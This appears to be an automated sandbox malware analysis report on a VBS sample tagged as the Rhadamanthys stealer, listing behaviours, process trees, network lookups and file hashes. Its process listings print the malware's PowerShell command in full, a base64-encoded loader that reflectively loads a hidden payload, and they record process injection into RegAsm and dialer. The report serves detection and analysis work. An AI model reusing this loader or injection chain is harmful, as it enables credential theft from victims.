Malware Analysis Report

2024-11-13 13:53

Sample ID 240913-h8y1as1dqk
Target rsDymE.vbs
SHA256 8bed27f5b5a1f3fee9076396dfa556be72ce444e1b0bf1ee536d716939c3a974
Tags
rhadamanthys discovery execution stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

8bed27f5b5a1f3fee9076396dfa556be72ce444e1b0bf1ee536d716939c3a974

Threat Level: Known bad

The file rsDymE.vbs was found to be: Known bad.

Malicious Activity Summary

rhadamanthys discovery execution stealer

Suspicious use of NtCreateUserProcessOtherParentProcess

Rhadamanthys

Checks computer location settings

Command and Scripting Interpreter: PowerShell

Command and Scripting Interpreter: PowerShell

Suspicious use of SetThreadContext

Enumerates physical storage devices

Program crash

System Location Discovery: System Language Discovery

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Suspicious behavior: CmdExeWriteProcessMemorySpam

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-09-13 07:25

Signatures

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-09-13 07:25

Reported

2024-09-13 07:27

Platform

win10v2004-20240802-en

Max time kernel

90s

Max time network

143s

Command Line

sihost.exe

Signatures

Rhadamanthys

stealer rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 1620 created 2636 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\system32\sihost.exe

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 4996 set thread context of 1620 N/A C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\dialer.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1860 wrote to memory of 3604 N/A C:\Windows\System32\WScript.exe C:\Windows\system32\cmd.exe
PID 1860 wrote to memory of 3604 N/A C:\Windows\System32\WScript.exe C:\Windows\system32\cmd.exe
PID 3604 wrote to memory of 4120 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
PID 3604 wrote to memory of 4120 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
PID 3604 wrote to memory of 4120 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
PID 3604 wrote to memory of 4996 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
PID 3604 wrote to memory of 4996 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
PID 3604 wrote to memory of 4996 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
PID 4996 wrote to memory of 1620 N/A C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4996 wrote to memory of 1620 N/A C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4996 wrote to memory of 1620 N/A C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4996 wrote to memory of 1620 N/A C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4996 wrote to memory of 1620 N/A C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4996 wrote to memory of 1620 N/A C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4996 wrote to memory of 1620 N/A C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4996 wrote to memory of 1620 N/A C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4996 wrote to memory of 1620 N/A C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4996 wrote to memory of 1620 N/A C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1620 wrote to memory of 1076 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\SysWOW64\dialer.exe
PID 1620 wrote to memory of 1076 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\SysWOW64\dialer.exe
PID 1620 wrote to memory of 1076 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\SysWOW64\dialer.exe
PID 1620 wrote to memory of 1076 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\SysWOW64\dialer.exe
PID 1620 wrote to memory of 1076 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\SysWOW64\dialer.exe

Processes

C:\Windows\system32\sihost.exe

sihost.exe

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\rsDymE.vbs"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\rsDymE.bat" "

C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCiRlbmNvZGVkQXJyYXkgPSBAKDE1OSwyMjAsMjM4LDIzOCwyMjQsMjMyLDIyMSwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENvbnZlcnQtQXNjaWlUb1N0cmluZyAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgInJzRHltRS5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\Admin\rsDymE.ps1' -Encoding UTF8"

C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\rsDymE.ps1"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\SysWOW64\dialer.exe

"C:\Windows\system32\dialer.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1620 -ip 1620

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1620 -s 608

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 1620 -ip 1620

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1620 -s 604

Network

Country Destination Domain Proto
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 71.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 92.12.20.2.in-addr.arpa udp
US 8.8.8.8:53 81.144.22.2.in-addr.arpa udp
US 52.111.227.14:443 tcp
US 8.8.8.8:53 48.229.111.52.in-addr.arpa udp

Files

C:\Users\Admin\rsDymE.bat

MD5 95e465b1ef996d3968a93ddbf5eba3da
SHA1 60fedee18bb55594ae6cf5a888e3135845ee8b7b
SHA256 0334ee6012ab68c0952a2b92e5977f687c2e278e6c5854554935bf344f6a6fae
SHA512 c6dcb8a2d8e91e8f770278ea20597bbc905387ece940841e5f0317eec117dd772ff8af1ce5fb69e3cfad4a9d0624685d2741d462b1c69a555bf25b1ba774c475

memory/4120-5-0x0000000074B3E000-0x0000000074B3F000-memory.dmp

memory/4120-6-0x00000000047F0000-0x0000000004826000-memory.dmp

memory/4120-7-0x0000000074B30000-0x00000000752E0000-memory.dmp

memory/4120-8-0x0000000004E60000-0x0000000005488000-memory.dmp

memory/4120-9-0x0000000004DE0000-0x0000000004E02000-memory.dmp

memory/4120-11-0x0000000005630000-0x0000000005696000-memory.dmp

memory/4120-10-0x00000000055C0000-0x0000000005626000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3gb5av2l.drs.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4120-21-0x00000000056A0000-0x00000000059F4000-memory.dmp

memory/4120-22-0x0000000005C10000-0x0000000005C2E000-memory.dmp

memory/4120-23-0x0000000005C50000-0x0000000005C9C000-memory.dmp

memory/4120-24-0x0000000007560000-0x0000000007BDA000-memory.dmp

memory/4120-25-0x0000000006140000-0x000000000615A000-memory.dmp

memory/4120-29-0x0000000074B30000-0x00000000752E0000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

MD5 4280e36a29fa31c01e4d8b2ba726a0d8
SHA1 c485c2c9ce0a99747b18d899b71dfa9a64dabe32
SHA256 e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359
SHA512 494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

memory/4996-40-0x0000000005720000-0x0000000005A74000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 772377337af02bdb03c65805ad1cfe30
SHA1 2d2c2c2830fe4b1aef0e560cb614fdef40bb8c13
SHA256 8c863685ec936c584c4d0f493f81e84fbcdb7dacebc9a17e7bc647fe065a67a7
SHA512 ff9a7774cb31fda7eeb575c3c628ef476e32f1c4dfe1955d221c09aeaef20e565f5f90e32ab8e3d0a347ccb0b18a08eb1b2eb35d843656c989bb271431de27be

C:\Users\Admin\rsDymE.ps1

MD5 6cc71c25ffb24ada904a5fc8671b08c5
SHA1 cf421c6b8f009a9b50f6c968669b5ae20a8475aa
SHA256 ecc925ef3557e4387d89ce5f16781f13c5c32ab4f30302a29cac1b54356314d0
SHA512 d131952d62403bd65a94e6d4b5231283088e65a7a944ab6fe7b15c81670d003e1003d01749ae89d37e56c8891ef2f1f92b874ced45b97a7a81cc62cc6a55d033

memory/4996-43-0x0000000006E20000-0x0000000006EB6000-memory.dmp

memory/4996-44-0x0000000006EC0000-0x0000000006EE2000-memory.dmp

memory/4996-45-0x0000000007550000-0x0000000007AF4000-memory.dmp

memory/4996-46-0x00000000070C0000-0x000000000715C000-memory.dmp

memory/4996-47-0x00000000023D0000-0x00000000023DA000-memory.dmp

memory/1620-48-0x0000000000400000-0x000000000046D000-memory.dmp

memory/1620-50-0x0000000000400000-0x000000000046D000-memory.dmp

memory/1620-51-0x0000000003EA0000-0x00000000042A0000-memory.dmp

memory/1620-52-0x0000000003EA0000-0x00000000042A0000-memory.dmp

memory/1620-53-0x00007FFD0AF30000-0x00007FFD0B125000-memory.dmp

memory/1620-55-0x0000000076A90000-0x0000000076CA5000-memory.dmp

memory/1076-56-0x00000000005D0000-0x00000000005D9000-memory.dmp

memory/1076-58-0x00000000023C0000-0x00000000027C0000-memory.dmp

memory/1076-59-0x00007FFD0AF30000-0x00007FFD0B125000-memory.dmp

memory/1076-61-0x0000000076A90000-0x0000000076CA5000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2024-09-13 07:25

Reported

2024-09-13 07:27

Platform

win7-20240903-en

Max time kernel

121s

Max time network

123s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\rsDymE.vbs"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: CmdExeWriteProcessMemorySpam

Description Indicator Process Target
N/A N/A C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\rsDymE.vbs"

C:\Windows\System32\cmd.exe

cmd /c ""C:\Users\Admin\rsDymE.bat" "

C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCiRlbmNvZGVkQXJyYXkgPSBAKDE1OSwyMjAsMjM4LDIzOCwyMjQsMjMyLDIyMSwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENvbnZlcnQtQXNjaWlUb1N0cmluZyAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgInJzRHltRS5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\Admin\rsDymE.ps1' -Encoding UTF8"

C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\rsDymE.ps1"

Network

N/A

Files

C:\Users\Admin\rsDymE.bat

MD5 95e465b1ef996d3968a93ddbf5eba3da
SHA1 60fedee18bb55594ae6cf5a888e3135845ee8b7b
SHA256 0334ee6012ab68c0952a2b92e5977f687c2e278e6c5854554935bf344f6a6fae
SHA512 c6dcb8a2d8e91e8f770278ea20597bbc905387ece940841e5f0317eec117dd772ff8af1ce5fb69e3cfad4a9d0624685d2741d462b1c69a555bf25b1ba774c475

memory/2604-12-0x0000000073B71000-0x0000000073B72000-memory.dmp

memory/2604-13-0x0000000073B70000-0x000000007411B000-memory.dmp

memory/2604-15-0x0000000073B70000-0x000000007411B000-memory.dmp

memory/2604-14-0x0000000073B70000-0x000000007411B000-memory.dmp

memory/2604-17-0x0000000073B70000-0x000000007411B000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 a6874bece0b84fdfde9fcdffcb2a0e57
SHA1 5ca8751606577f3ba33930e1acdc3564677235c5
SHA256 a98ec9ee1910f7e2db45628aa3892d8df30b194c9b67575f269a1656e56c43a7
SHA512 c18db52ab3b8ad16478000711783c04e0eebc4f8fba29d594aa8594aaf7f49f4d36d2840c2565e6501384a2d756704f2fd606df2dbac147a404b99a6ba5a664c

C:\Users\Admin\rsDymE.ps1

MD5 6cc71c25ffb24ada904a5fc8671b08c5
SHA1 cf421c6b8f009a9b50f6c968669b5ae20a8475aa
SHA256 ecc925ef3557e4387d89ce5f16781f13c5c32ab4f30302a29cac1b54356314d0
SHA512 d131952d62403bd65a94e6d4b5231283088e65a7a944ab6fe7b15c81670d003e1003d01749ae89d37e56c8891ef2f1f92b874ced45b97a7a81cc62cc6a55d033